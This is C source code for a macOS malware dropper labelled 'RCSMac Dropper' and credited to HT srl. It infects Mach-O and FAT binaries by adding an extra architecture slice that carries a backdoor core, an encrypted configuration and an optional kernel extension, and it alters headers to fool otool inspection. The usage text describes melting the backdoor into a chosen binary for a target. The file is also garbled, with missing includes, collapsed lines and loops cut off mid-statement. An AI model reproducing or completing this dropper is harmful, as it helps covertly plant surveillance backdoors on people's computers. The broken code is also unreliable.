/* * RCSMac Dropper * - Check if the input file is a FAT binary * - If Yes Unpack every single ARCH * - Rebuild a FAT binary with all the original archs * - Add a new ARCH PPC7400(?) which will be pointing to our data * - Fool otool by adding data at the start of the Mach_Header (InfectionHeader) * * Created by Alfredo 'revenge' Pesoli on 14/07/2009 * Copyright (C) HT srl 2009. All rights reserved * */ //#include #include #include #include #include //#include #include "RCSMacDropper.h" #define MACH_MAGIC 0xfeedface #define FAT_MAGIC 0xcafebabe #define PAGE_ALIGNMENT 0x1000 #define VERSION 0.2 int infectBinary (int aBinaryType) { struct fatHeader newFatHeader; struct fatArch newFatArch; int outputFD; struct stat sb; unsigned int outOffset = 0; unsigned long architectureOffset = 0; unsigned long tempArchOffset = 0; unsigned long paddedArchOffset = 0; // // Crete the output file // if ((outputFD = open (gOutputFile, O_RDWR | O_CREAT | O_TRUNC, 0644)) < 0) { return kErrorCreateFile; } //if (!(outputFD = fopen (gOutputFile, "wb"))) //{ //return kErrorCreateFile; //} if (stat (gInputFile, &sb) == kErrorGeneric) { return kErrorGeneric; } int filesize = sb.st_size; char *outputMappedFile; // // Now mmap it, better and portable // if ((int)(outputMappedFile = mmap (0, filesize, PROT_READ | PROT_WRITE, MAP_SHARED, outputFD, 0)) == kErrorGeneric) { printf ("[ee] Error during the mmapping of the output file\n"); return kErrorCreateFile; } if (lseek (outputFD, filesize - 1, SEEK_SET) == kErrorGeneric) return kErrorOpenFile; if (write (outputFD, "", 1) == kErrorGeneric) return kErrorWriteFile; int index = 0; // No swap required if (aBinaryType & kFatBinary) { int numberOfArchs = gFatHeader.nfatArch; // // Setting up the new FAT Header by adding one new architecture // newFatHeader.magic = FAT_MAGIC; newFatHeader.nfatArch = numberOfArchs; // // Storing the new FAT Header // fwrite (&newFatHeader, sizeof (newFatHeader), 1, outputFD); resourceHeader *resourceEntry[numberOfArchs]; unsigned long dataOffset[6]; int i; printf("[ii] Unpacking Fat Binary\n"); printf("[ii] Found %d Arch(s)\n", numberOfArchs); // // Recreate the FAT header + FAT Archs // for (i=0; imagic != MH_MAGIC) { return kInvalidMacho; } architectureOffset = (sizeof (newFatArch) * newFatHeader.nfatArch) + sizeof (newFatHeader); // Now pad the offset to page boundary architectureOffset = (architectureOffset / PAGE_ALIGNMENT + 1) * PAGE_ALIGNMENT; // // Setting up the fatArch header // newFatArch.cputype = m_header->cputype; newFatArch.cpusubtype = m_header->cpusubtype; newFatArch.offset = architectureOffset; newFatArch.size = gFatArch.size; newFatArch.align = 0xD; architectureOffset += gFatArch.size; // Now pad the offset to page boundary architectureOffset = (architectureOffset / PAGE_ALIGNMENT + 1) * PAGE_ALIGNMENT; if (fwrite (&newFatArch, sizeof (newFatArch), 1, outputFD) != sizeof (newFatArch)) { return kErrorWriteFile; } printf("filePointer: %08x", filePointer); printf("filePointer: %08x", *(unsigned long *)filePointer); dataOffset[~(numberOfArchs - gFatHeader.nfatArch - 1)] = *(unsigned long *)filePointer; } return kErrorGeneric; } } numberOfArchs = gFatHeader.nfatArch; // // Now copy back all the mach blocks // for (i=0; i \n\n", aBinaryName); printf ("\t : backdoor core\n"); printf ("\t : backdoor encrypted configuration\n"); printf ("\t : kernel extension\n"); printf ("\t : backdoor installation path (on target)\n"); printf ("\t : binary to melt with\n"); printf ("\t : output filename\n\n"); } int parseArguments (int argc, char **argv) { if (argc != 7) { return -1; } gCore = argv[1]; gConfiguration = argv[2]; if (strncmp ("null", argv[3], strlen ("null")) != 0) gKext = argv[3]; gInstallPath = argv[4]; gInputFile = argv[5]; gOutputFile = argv[6]; return kSuccess; } int main (int argc, char **argv) { if (parseArguments (argc, argv) & kErrorGeneric ) { usage (*argv); exit (1); } int fileType = getBinaryFormat (); switch (fileType) { case kFatBinary: { printf ("[ii] FAT Binary found\n"); infectBinary (kFatBinary); break; } case kFatSwapBinary: { printf ("[ii] FAT (to Swap) Binary found\n"); int success; if ((success = infectBinary (kFatSwapBinary)) != kSuccess) { printf("[ee] An error occurred while infecting the binary\n"); switch (success) { case kErrorGeneric: printf("[ee] Got a generic error\n"); break; case kErrorOpenFile: printf("[ee] Error on file open\n"); break; case kErrorReadFile: printf("[ee] Error while reading the input file\n"); break; case kErrorWriteFile: printf("[ee] Error while writing the output file\n"); break; case kErrorCreateFile: printf("[ee] Error while creating the output file\n"); break; default: break; } } break; } case kMachBinary: { printf ("[ii] Mach Binary found\n"); infectBinary (kMachBinary); break; } } return kSuccess; } .